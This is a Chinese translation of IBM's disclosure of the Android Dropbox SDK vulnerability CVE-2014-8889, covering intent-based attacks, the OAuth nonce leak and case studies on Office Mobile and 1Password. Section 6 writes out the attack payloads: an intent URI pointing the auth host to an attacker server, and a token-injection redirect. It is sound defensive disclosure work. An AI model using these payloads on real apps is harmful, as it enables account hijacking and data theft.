9

Android DropBox SDK漏洞(CVE-2014-8889)分析 | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Android DropBox SDK漏洞(CVE-2014-8889)分析

0x00 前言


本文是对IBM ISS安全团队对DropBox SDK漏洞详细分析的翻译。

原文见http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-dropbox-sdk-for-android

如今个人数据存储在云端,这使得像照片备份或通用存储那样的服务不仅可以被用户访问,也能被代表用户的app所访问。在许多方面,包括访问控制功能的app与服务之间的互操作总是具有挑战性的,为了解决访问控制来来的挑战,OAuth1和2等授权协议陆续被提出,它们可以安全地授予app访问特定服务中个人数据的权限,而又不泄露用户的个人凭据。为便于开发,这些服务通常为app提供一个框架或SDK,使app能够和服务进行通信。对于app开发者而言,SDK是具有吸引力的,因为其对内部细节进行了抽象,给开发者提供了简单的客户端API。从安全的角度来看,SDK则提供了极具吸引力的攻击面,因为其一旦出现可供利用的漏洞,可以影响大量使用该SDK的app。

本文介绍了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一个严重漏洞(CVE-2014-8889),该漏洞使基于Dropbox SDK的app暴露于严重的本地和远程攻击。作为概念证明(POC),我们开发了针对包括Microsoft Office Mobile和1Password等流行app的远程攻击程序。我们负责任地将该漏洞报告给了Dropbox,Dropbox也及时提供了一个修复的SDK(1.6.2版)。在此,强烈建议开发者下载SDK并更新其app。

0x01 背景


Dropbox SDK是一个供开发者下载并用于其产品的库,它通过一组简单的API,提供了轻松使用Dropbox服务,如下载或上传文件等功能。

AppBrain的统计数据表明了在Android中使用Dropbox SDK的流行程度[1 ],在全部应用中,有0.31%使用了Dropbox SDK。而在Google Play前500的应用中,1.41%使用了Dropbox SDK。有趣的是,按照安装量统计,分别有总量的1.32%和前500应用安装量的3.93%使用了Dropbox SDK。

尽管Dropbox SDK不是一个高度流行的基础软件库,某些非常流行的Android app仍然使用Dropbox SDK持有敏感数据,包括拥有10,000,000下载量的[Microsoft Office Mobile](https:// https://play.google.com/store/apps/details?id=com.microsoft.office.officehub),以及拥有100,000下载量的AgileBits 1Password

我们发现的这一漏洞影响使用Dropbox SDK 1.5.4-1.6.1版的所有Android app。我们分析了使用Android Dropbox SDK的41个app(它们使用了1.5.4-1.6.1版),其中有31个app(76%)能够被攻击成功)。需要注明的是,其余app仍然具有漏洞,可以被造成同样后果的更加简单的攻击所利用,只不过这些app没有升级到修复漏洞的1.5.4版1

本文结构如下,第二章介绍了Android中跨应用通信(IAC)的背景,第三章介绍了IAC如何被恶意代码本地利用和远程drive-by攻击利用的技术,第四章描述了Dropbox SDK如何使用OAuth为Android app提供授权,第五章深入分析我们所发现的Android Dropbox SDK用于OAuth代码中的漏洞,第六章描述了我们称之为DROPPEDIN的利用该漏洞的真实攻击,第七章我们提供了反映真实威胁的案例,最后在第八章中我们提供了该漏洞的修复建议。

0x02 Android中的跨应用通信(IAC)


Android应用在沙箱环境中执行,沙箱确保应用数据的机密性和完整性,如果没有配置适当的权限,某一应用无法访问其他应用中的敏感信息。例如,Android Stock浏览器中的敏感信息,如cookie、缓存和历史记录,不会被第三方的app所访问。沙箱机制依赖于多种技术,包括基于应用的Linux user-id分配,因此在默认情况下,某一应用的资源(如文件),不会被其他应用所访问。尽管沙箱机制有利于安全,对于有时在app之间需要通信的场合,也牺牲了部分互操作性。回到前述Stock浏览器的例子,当用户使用浏览器访问到Google Play网址时,可能需要打开Google Play app,为了支持这种类型的互操作,Android提供了一种高层的跨应用通信(IAC)机制,通常使用了封装有关载荷和目标应用组件的信息、被称之为Intent的特殊消息。Intent可以是显式指定,此时必须明确指定目标应用组件,也可以隐式指定,此时目标应用无需明确指定,而由Android系统根据Intent参数中的URI scheme、action或category决定。

0x03 利用跨应用通信的攻击


如果攻击者可以控制Intent载荷,直接启动应用组件,那么攻击面将被拓宽,特别对于处于导出(exported)状态的应用组件。这些导出的一个用组件易于遭受恶意应用的本地攻击。负责UI屏幕的Android组件Activity也可以遭受远程的drive-by攻击技术,见[2,3]。

在本地攻击中,如图3.1所示,恶意应用通过恶意Intent(即包含恶意数据)启动导出的目标应用,这只需要简单的调用API,如Context.startActivity(intent)

image

图3.1 恶意应用的本地攻击

而在图3.2所示的远程drive-by攻击中,用户被欺骗浏览恶意网址,恶意网址的网页使浏览器发送恶意Intent,启动目标activity。2

image

图3.2 远程Drive-by攻击

0x04 OAuth与Dropbox


为了授权app使用一个指定的Dropbox账号,Dropbox SDK使用了OAuth协议,这个过程始于app在Dropbox网站的带外注册,接着app就可以从Dropbox收到app key和app secret,并将其硬编码于代码中。

然后app将在Android Manifest文件中导出Dropbox使用的AuthActivity,如下所示。

#!html
<activity android:name="com.dropbox.client2.android.AuthActivity" ...> 
    <intent-filter>
        <data android:scheme="db-<APP_KEY >" />
        <action android:name="android.intent.action.VIEW" /> 
        <category android:name="android.intent.category.BROWSABLE" /> 
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter> 
</activity>

图4.1描述了Dropbox OAuth协议各方及通信过程,这一过程首先开始于app携带必须的数据(即app key和app secret)调用Dropbox SDK AndroidAuthSession中的静态方法start{OAuth2}Authentication,该方法使用一个Intent启动AuthActivity,接着AuthActivity产生一个nonce随机数,并再次通过一个Intent启动浏览器或者Dropbox app(如果已安装),对用户进行认证和对app进行授权。这一过程将使用到前面产生的nonce。浏览器或者Dropbox app将利用指向app唯一URI scheme(db-)的隐式Intent,返回携带附加数据(如uid)的access token、secret和nonce。这将导致AuthAcitivity的OnNewIntent方法被调用,该方法会检查输入的nonce是否与输出的nonce一致。如果一致,它将接受token,并存储于其result静态变量中。token将在Dropbox会话中保存,用于接下来的Dropbox SDK调用。

image 图4.1 Dropbox OAuth认证

该过程存在两个主要的威胁。首先,返回的OAuth access token可能被窃取,这将允许攻击者访问授权的Dropbox资源。恶意应用通过注册类似的Intent filter,就可以假冒app实施这种攻击。然而由于Dropbox SDK可以检查是否有别的应用注册相同的Intent filter,因此这种威胁带来的风险就已经缓解了。其次,攻击者可以注入自己的access token,这将导致app连接到攻击者的账户,从而在非授权的情况下上传敏感数据给攻击者,或者下载数据以进一步实施其他的攻击。由于nonce 参数的存在(在1.5.4版中引入),这种威胁带来的风险也已经缓解。然而,具体实现仍然存在一个漏洞,攻击者可以主动地令Dropbox SDK泄露nonce参数到攻击者控制的服务器,我们将在下一章中予以叙述。

0x05 漏洞分析


我们发现的一个漏洞,被标识为CVE-2014-8889,使攻击者可以在Dropbox SDK的AuthActivity中注入一个任意的access token,完全绕过nonce的保护。

AuthAcitivity接受几种不同的Intent extra参数,作为一个exported和browasable的activity(如第四章所述,必须),它可以被携带任意Intent extra参数(见第三章)的本地恶意应用和远程恶意网站所启动,因此在使用这些Intent extra参数时必须格外小心。

然而,一个名为INTERNAL_WEB_HOST的Intent extra参数却可以被攻击者所控制,从而带来破坏性的影响。当浏览器用于认证用户和授权app使用时(Dropbox app未安装的情况),这个参数最终控制了用户浏览器访问的地址,如附录A,startWebAuth方法被AuthActivity的OnResume回调方法(在Intent启动Activity后调用)所调用。因此,如果攻击者可以针对该activity生成一个Intent,并将其INTERNAL_WEB_HOST extra指向自己控制的服务器,那么在认证过程中的nonce将发送给攻击者的服务器!

0x06 DROPPEDIN 攻击


对本地和远程(drive-by)攻击,我们都予以了实现。这两种攻击都要求被攻击设备不能安装Dropbox app,并要求攻击者预先以一种带外的方式获得access token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET),以及与其账户和被攻击app相关的uid。这一步很容易,因为攻击者可以简单地下载被攻击app到自己的设备上,授权自己的Dropbox账号使用,并记录返回的access token对。如图6.1,远程攻击分四个步骤,本地攻击也与此类似,但要求被攻击设备上安装恶意应用。

image 图6.1 Droppedin 攻击

6.1 自然的网页浏览


受害者访问了攻击者完全控制的恶意网站,或者被攻击者利用漏洞(如XSS)植入恶意代码的网站。

6.2 主动的Nonce泄露


恶意代码携带特别的Intent参数,使用户的浏览器启动被攻击的app,并使随后的OAuth过程与攻击者所控制的服务器间进行,而不是正常的https://www.dropbox.com。这一步骤使攻击者获得nonce。通过简单的HTTP重定向到以下代码就可以实现: Intent:#Intent;scheme=db-<APP_KEY>; S.EXTRA_INTERNAL_WEB_HOST=; S.EXTRA_INTERNAL_APP_KEY=foo; S.EXTRA_INTERNAL_APP_SECRET=bar; end

截至本文写作时,大多数的流行浏览器都支持上述这种Intent URI scheme机制的隐式Intent。

6.3 Auth Access Token注入


上述Intent将最终使浏览器访问https://attacker:443/1/connect(并在GET参数中携带nonce),这要求攻击者拥有自己的SSL证书,但这也很容易。获取nonce后,攻击者就可以通过另一个HTTP重定向到以下代码,注入自己预先产生的access token到app中。

db-<APP_KEY>://1/connect?oauth_token_secret=<ACCESS_TOKEN_SECRET>
            &oauth_token=<ACCESS_TOKEN_KEY>
            &uid=<UID>
            &state=<NONCE>

如果access token被成功注入,将保存在AuthActivity.result中。

6.4 App使用OAuth Access Token


至此,AuthActivity的静态成员变量result就包含了攻击者的token。其余就是被攻击app如何使用这些数据了,这取决于开发者。

不排除有别的情况存在,但总体而言,客户端(app)代码将在其中一个Activity的onCreate方法或者在用户点击某些按钮时发起认证过程。接下来就是检查认证是否成功,并在其onResume方法中将token用于Dropbox会话。

攻击得以成功关键的一点在于,onCreate和onResume方法依次调用(见[4,6])。这表明,攻击者一旦在app的activity呈现之前注入他的access token,这个access token就会在用户输入自己的凭据之前使用,见第7章的具体案例分析。

0x07 案例研究


7.1 Mircrosoft Office Mobile:注入并添加新的连接3


Microsoft Office Mobile app允许用户将自己的文档上传至云中,且支持多个Dropbox账户。

在该案例中,正常情况下下列步骤将按如下顺序执行:

1.用户添加Dropbox账号,这将启动负责Dropbox认证的activity。 2.activity的onCreate方法调用SDK AndroidAuthSession中的startOAuth2Authentication方法。 3.接着调用acitivity的onResume方法,通过AndroidAuthSession的authenticationSuccessful方法检查认证是否成功,后者返回一个负值。 4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。 5.activity的onResume方法再次调用,此时authenticationSuccessful将返回正值。token将从AuthActivity拷贝到session对象,供app使用。通过调用Activity.finish方法销毁activity. 6.账户被添加到app中。

该过程可遭受如下的攻击。在第一步之前,攻击者通过漏洞注入自己的token。用户接着添加一个新的Dropbox账号,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,然后activity被销毁,甚至都第五步都不会进行。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。

7.2 1Password: 在初次连接之前注入


1Password app属于口令管理app(如KeyPass),使用Dropbox SDK将用户的vault(密钥库)同步至Dropbox。该app支持使用一个Dropbox账号将本地的密钥库同步至Dropbox。将密钥库上传给攻击者的账号将带来灾难性的影响——攻击者可以进行离线破解,如果使用弱的主保护口令(这仍然是一个常见问题 [5,7]),攻击者可以在可行的时间内破解成功。此外,为了获得主保护口令,攻击者还可以实施钓鱼攻击。

与7.1节类似,当用户决定同步时如下步骤按序发生:

1.用户点击“同步到Dropbox”按钮,启动负责Dropbox认证的activity。 2.activity的onCreate方法通过AndroidAuthSession.isLinked()方法检查自己是否被连接。如果没有,则调用AndroidAuthSession的startAuthentication方法。

3.接着调用activity的onResume方法,并再次调用AndroidAuthSession.isLinked()。如果返回false,则通过AnroidAuthSession.authenticationSucessful()方法检查认证是否成功,后者将返回一个负值。

4.用户通过浏览器登录Dropbox认证,并授权app使用自己的账户。

5.activity的onResume方法被调用,AndroidAuthSession.isLinked()再次返回false。然而,此时authenticationSuccessful()方法将返回一个正值。app接着调用finishAuthentication将token拷贝到session对象(这将导致isLinked方法返回true),于是app使用该token。

6.同步过程开始。

该过程可遭受如下的攻击。在第一步之前,攻击者可以利用漏洞注入自己的token。用户接着同步自己的账户,正常情况下他将被引到Dropbox的官网,然而第三步在可以在未经用户同意的情况下在后台发生,authentication方法将调用成功,攻击者的token被拷贝到session对象,导致第五步的isLinked方法返回true。因此,即使用户输入的是自己的认证凭据,却使用了攻击者的token,使攻击无缝发生。

7.3 DBRoulette: 注入并再次连接


DBRoulette app与Dropbox SDK打包在一起,作为一个示例应用。它是一个具有基本功能的app,对用户进行认证,并从用户的Dropbox照片文件夹中随机加载一张照片。在主activity DBRoulette中,onResume方法只是简单的覆盖预先存储的认证凭据,这意味着即使Dropbox账号已经连接到DBRoulette,攻击者的账号仍然可以使用。此外,DBRoulette调用Dropbox SDK认证方法的代码位于一个导出的activity中,攻击者可以启动该activity,从而实施完全自动化的攻击。图7.1描述了一次成功的攻击,攻击者账号中的本文作者手指照片,而非受害用户自己的照片,出现在DBRoulette中。

image 图7.1 被攻击的DBRoulette

0x08 修复


Android Dropbox SDK 1.6.2版已经发布,包含了对该漏洞的修补。Dropbox SDK的AuthActivity方法也不再接受输入Intent的extra参数,这就使攻击者无法通过可控的Dropbox SDK通信的服务器地址来获得nonce。强烈建议开发者将其使用的Dropbox SDK更新到最新版本。为了避免没有更新SDK的app被该漏洞利用,终端用户可以安装Dropbox app使攻击失效。

0x09 披露时间


2014.12.1 - 漏洞报告给厂商。
2014.12.1 - 厂商确认,开始编写补丁。
2014.12.5 - 补丁可用(Android Dropbox SDK 1.6.2版)
2015.3.11 - 公开披露。

0x10 致谢


Dropbox对安全威胁的响应令人印象深刻,我们向Dropbox报告了该问题,仅仅在6分钟后就得到了回应,24小时之内漏洞得到了确认,4天后补丁可用。我们感谢Dropbox团队,这是我们所见到过的最快补丁,无疑他们对于用户的安全是负责任的。

参考文献


1.AppBrain. Dropbox API - Android library statistics. http://www.appbrain.com/stats/libraries/ details/dropbox_api/dropbox-api.

2.Takeshi Terada. Attacking Android browsers via intent scheme URLs. 2014. http://www.mbsd.jp/ Whitepaper/IntentScheme.pdf.

3.Roee Hay & David Kaplan. Remote exploitation of the cordova framework. 2014. http://www. slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework.

4.Android. Activity. http://developer.android.com/reference/android/app/Activity.html.

5.Trustwave. 2014 business password analysis, 2014. https://gsr.trustwave.com/topics/ business-password-analysis/2014-business-password-analysis/.

附录A:具有漏洞的Dropbox SDK 代码


code:

protected void onCreate(Bundle savedInstanceState) { ... Intent intent = getIntent(); ... webHost = intent.getStringExtra(EXTRA\_INTERNAL\_WEB\_HOST); if (null == webHost) { webHost = DEFAULT\_WEB_HOST; } ... }

    protected void onResume() {
        ...
        String state = createStateNonce();
        ...
        if (hasDropboxApp(officialIntent)) {
            startActivity(officialIntent);
        }
        else {
            startWebAuth(state);
        }
        ...
            authStateNonce = state;
    }

    private void startWebAuth(String state)
    {
        String path = "/connect";
        Locale locale = Locale.getDefault();
        String[] params = {
        "locale", locale.getLanguage()+"_"+locale.getCountry(),
        "k", appKey,
        "s", getConsumerSig(),
        "api", apiType,
        "state", state};
        String url = RESTUtility.buildURL(webHost, DropboxAPI.VERSION, path, params);
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        startActivity(intent);
    } 

  1. 从上下文来看,这一漏洞不是指本文分析的CVE-2014-8889 

  2. 这种攻击技术参见Intent scheme URL attack 

  3. 从文中内容看,作者使用Link(连接)这一术语说明app与某一Dropbox账号建立关系,即app使用该账号访问Dropbox的服务。 


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK